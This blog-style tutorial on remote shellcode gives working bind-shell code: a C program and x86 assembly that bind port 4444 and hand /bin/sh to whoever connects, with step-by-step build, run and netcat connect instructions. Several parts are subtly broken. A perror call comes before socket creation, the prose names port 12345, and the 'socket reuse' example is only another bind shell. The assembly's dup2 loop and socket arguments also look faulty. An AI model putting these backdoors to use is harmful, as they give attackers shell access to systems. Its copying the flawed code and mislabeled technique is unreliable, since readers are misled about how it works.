When a host is exploited remotely, a multitude of options are available to gain access to that particular machine. The first choice is usually to try the execve code to see if it works for that particular server. If that server duplicated the socket descriptors to stdout and stdin, small execve shellcode will work fine. Often, however, this is not the case. This section explores dierent shellcode methodologies that apply to remote vulnerabilities.

One of the most common shellcodes for remote vulnerabilities binds a shell to a high port. This allows an attacker to create a server on the exploited host that executes a shell when connected to. By far the most primitive technique, this is easy to implement in shellcode. In C, the code to create port binding shellcode.

Example of how you might implement port binding shellcode functionality in C. This code demonstrates the concepts used in port binding shellcode, although it’s simplified compared to the shellcode directly written in assembly language.

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main() {
    perror("Socket creation failed");

    // Create a socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        exit(EXIT_FAILURE);
    }

    // Define the server address structure
    struct sockaddr_in serv_addr;
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(4444); // Port 4444 in network byte order

    // Bind the socket to the server address
    if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("Bind failed");
        exit(EXIT_FAILURE);
    }

    // Start listening for incoming connections
    if (listen(sockfd, 5) < 0) {
        perror("Listen failed");
        exit(EXIT_FAILURE);
    }

    // Accept incoming connections
    int newsockfd = accept(sockfd, NULL, NULL);
    if (newsockfd < 0) {
        perror("Accept failed");
        exit(EXIT_FAILURE);
    }

    // Redirect standard input, output, and error to the new socket
    dup2(newsockfd, 0); // stdin
    dup2(newsockfd, 1); // stdout
    dup2(newsockfd, 2); // stderr

    // Execute /bin/sh
    execl("/bin/sh", "sh", NULL);

    return 0;
}

In this C code:

  1. We create a socket using socket(AF_INET, SOCK_STREAM, 0) to establish a TCP socket. 2. We defi ne the server address structure (struct sockaddr_in) and bind the socket to port 4444 using bind.
  2. We start listening for incoming connections using listen.
  3. We accept incoming connections with accept, which creates a new socket for communication with the client.
  4. We use dup2 to redirect standard input, output, and error to the new socket, e ectively allowing us to communicate with the client.
  5. Finally, we execute /bin/sh using execl to spawn a shell for the attacker to interact with.

Please note that this C code is for educational purposes and may not work as expected in all environments. Additionally, using such functionality in a real-world scenario should only be done with explicit authorization and for legitimate security testing purposes.

Run the C code provided, follow these steps:

  1. Open a Text Editor: Open a text editor such as Notepad, VS Code, Sublime Text, or any other editor you prefer.
  2. Copy the Code: Copy the C code from the previous message and paste it into your text editor.
  3. Save the File: Save the fi le with a .c extension, such as port_bind.c.
  4. Compile the Code: Open a terminal or command prompt, navigate to the directory where you saved the .c fi le, and compile the code using a C compiler like GCC. For example:

gcc -o port_bind port_bind.c

Run the Executable: After compiling successfully, run the executable fi le created by the compiler. If you used the command above, the executable will be named port_bind. Run it using:

./port_bind

Connect to the Port: Once the program is running, it will bind to port 4444 and wait for incoming connections. You can use tools like netcat (nc) or a programming language like Python to connect to this port and interact with the shell.

Example of connecting to the port using netcat:

nclocalhost4444

This will establish a connection to the port where your program is listening, and you should see a shell prompt where you can enter commands. Keep in mind that this code creates a backdoor-like functionality and should only be used for educational purposes or with explicit authorization for security testing.

This code binds a socket to a high port (in this case, 12345) and executes a shell when the connection occurs. This technique is common, but has some problems. If the host being exploited has a firewall with a default deny policy, the attacker will be unable to connect to the shell.

Port binding shellcode is a type of shellcode used in exploit development and penetration testing. It allows an attacker to open a network port on a compromised system, enabling remote access or communication with the system.

Example of x86 Linux shellcode that performs a port binding operation:

section .text

global _start

_start:

    ; Socket syscall (socket(AF_INET, SOCK_STREAM, IPPROTO_IP))
    xor eax, eax            ; Clear EAX register
    xor ebx, ebx            ; Clear EBX register

    push byte 0x6           ; IPPROTO_IP (IP protocol number)
    push byte 0x1           ; SOCK_STREAM (TCP socket type)
    push byte 0x2           ; AF_INET (IPv4 family)

    mov al, 0x66            ; Socketcall syscall number for socket
    mov bl, 0x1             ; Socketcall syscall for socket function
    int 0x80                ; Call socket syscall

    ; Bind syscall (bind(sockfd, &addr, addrlen))
    mov ebx, eax            ; Store socket file descriptor in EBX
    xor eax, eax            ; Clear EAX register

    push eax                ; Null byte for terminating string
    push word 0x5c11        ; Port 4444 in little-endian format
    push word 0x2           ; AF_INET (IPv4 family)

    mov ecx, esp            ; ECX points to the address struct
    mov al, 0x66            ; Socketcall syscall number for bind
    mov bl, 0x2             ; Socketcall syscall for bind function
    int 0x80                ; Call bind syscall

    ; Listen syscall (listen(sockfd, backlog))
    mov al, 0x66            ; Socketcall syscall number for listen
    mov bl, 0x4             ; Socketcall syscall for listen function
    int 0x80                ; Call listen syscall

    ; Accept syscall (accept(sockfd, addr, addrlen))
    xor eax, eax            ; Clear EAX register
    mov al, 0x66            ; Socketcall syscall number for accept
    mov bl, 0x5             ; Socketcall syscall for accept function

    push eax                ; Null byte for terminating string
    push ebx                ; Null byte for terminating string
    mov ecx, esp            ; ECX points to the address struct
    int 0x80                ; Call accept syscall

    ; Dup2 loop for standard input, output, and error
dup_loop:
    xor ebx, ebx            ; Clear EBX register
    mov al, 0x3f            ; Syscall number for dup2
    inc ebx                 ; Increment EBX (file descriptor)
    int 0x80                ; Call dup2 syscall
    cmp ebx, 0x2            ; Compare EBX with 2 (stderr)
    jle dup_loop            ; Jump to dup_loop if less than or equal to 2

    ; Execute /bin/sh
    xor eax, eax            ; Clear EAX register
    push eax                ; Null byte for terminating string
    push 0x68732f2f         ; "hs//" in little-endian format
    push 0x6e69622f         ; "nib/" in little-endian format

    mov ebx, esp            ; Store pointer to "/bin//sh" string in EBX
    mov al, 0xb             ; Syscall number for execve
    int 0x80                ; Call execve syscall

This shellcode performs the following actions:

  1. Calls the socket syscall to create a TCP socket.
  2. Calls the bind syscall to bind the socket to a specifi ed port (4444 in this case).
  3. Calls the listen syscall to start listening for incoming connections.
  4. Calls the accept syscall to accept incoming connections and create a new socket for communication.
  5. Sets up a loop to duplicate fi le descriptors for standard input, output, and error using the dup2 syscall.
  6. Executes /bin/sh to spawn a shell for the attacker to interact with.

This shellcode can be injected into a vulnerable program or used as part of an exploit to gain remote access to a compromised system.

To run the port binding assembly code, you fi rst need to assemble it into an executable format that your system can execute. Since assembly code is platform-specifi c, you’ll

typically use an assembler like NASM (Netwide Assembler) to convert the assembly code into machine code and then link it into an executable.

To run a port binding assembly code:

Save the Assembly Code: Copy the assembly code provided earlier into a text fi le and save it with a .asm extension, such as port_bind.asm.

Install NASM: If you don’t have NASM installed, you’ll need to install it. On Ubuntu or Debian-based systems, you can install NASM with the command:

sudo apt-get install nasm

Assemble the Code: Open a terminal and navigate to the directory where you saved port_bind.asm. Use NASM to assemble the code and generate an object fi le:

nasm -f elf32 -o port_bind.o port_bind.asm

Replace elf32 with elf64 if you’re targeting a 64-bit system.

Link the Object File: After generating the object fi le, link it to create an executable binary: ld -m elf_i386 -o port_bind port_bind.o

If you’re targeting a 64-bit system, use elf_x86_64 instead of elf_i386.

Run the Executable: Once the linking process is successful, you can run the port_bind executable:

./port_bind

Connect to the Port: After running the executable, it will bind to the specifi ed port (e.g., port 4444). You can use tools like netcat (nc) or another program to connect to this port and interact with the shell.

To connect using netcat:

nclocalhost4444

This will establish a connection to the port where your program is listening, and you should see a shell prompt where you can enter commands.

Keep in mind that running assembly code directly like this may require proper permissions and could potentially harm your system if the code is malicious or not properly handled. Always exercise caution and use code from trusted sources.

Socket Descriptor Reuse Shellcode

When choosing shellcode for an exploit, you should always assume that a fi rewall with a default deny policy will be in place. In this case, port-binding shellcode is not usually the best choice.

A better tactic is to recycle the current socket descriptor and utilize that socket instead of creating a new one. In essence, the shellcode iterates through the descriptor table, looking for the correct socket. If the correct socket is found, the descriptors are duplicated and a shell is executed.

Example of how you implement a socket descriptor reuse functionality in C. This code demonstrates the concept of reusing a socket descriptor to redirect input, output, and error streams to a network socket, allowing for remote shell access.

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main() {
    // Create a socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("Socket creation failed");
        exit(EXIT_FAILURE);
    }

    // Define the server address structure
    struct sockaddr_in serv_addr;
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(4444); // Port 4444 in network byte order

    // Bind the socket to the server address
    if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("Bind failed");
        exit(EXIT_FAILURE);
    }

    // Start listening for incoming connections
    if (listen(sockfd, 5) < 0) {
        perror("Listen failed");
        exit(EXIT_FAILURE);
    }

    while (1) {
        // Accept incoming connections
        int newsockfd = accept(sockfd, NULL, NULL);
        if (newsockfd < 0) {
            perror("Accept failed");
            continue;
        }

        // Redirect standard input, output, and error to the new socket
        dup2(newsockfd, 0); // stdin
        dup2(newsockfd, 1); // stdout
        dup2(newsockfd, 2); // stderr

        // Execute /bin/sh
        execl("/bin/sh", "sh", NULL);

        // Close the new socket (this line is not reached if execl succeeds)
        close(newsockfd);
    }

    // Close the listening socket (this code is unreachable in this example)
    close(sockfd);

    return 0;
}

In this code:

  1. We create a socket using socket**(AF_INET, SOCK_STREAM, 0)** to establish a TCP socket.
  2. We defi ne the server address structure (struct sockaddr_in) and bind the socket to port 4444 using bind.
  3. We start listening for incoming connections using listen.
  4. Inside the while loop, we accept incoming connections with accept, which creates a new socket for communication with the client.
  5. We use dup2 to redirect standard input, output, and error to the new socket, e ectively allowing us to communicate with the client.
  6. Finally, we execute /bin/sh using execl to spawn a shell for the attacker to interact with.

This code continuously listens for incoming connections, accepts them, and spawns a shell for each incoming connection, allowing for remote shell access.

❤️ If you liked the article, like and subscribe to my channel Codelivly”.

👍 If you have any questions or if I would like to discuss the described hacking tools in more detail, then write in the comments. Your opinion is very important to me!

Shares:

Leave a Reply

Your email address will not be published. Required fields are marked *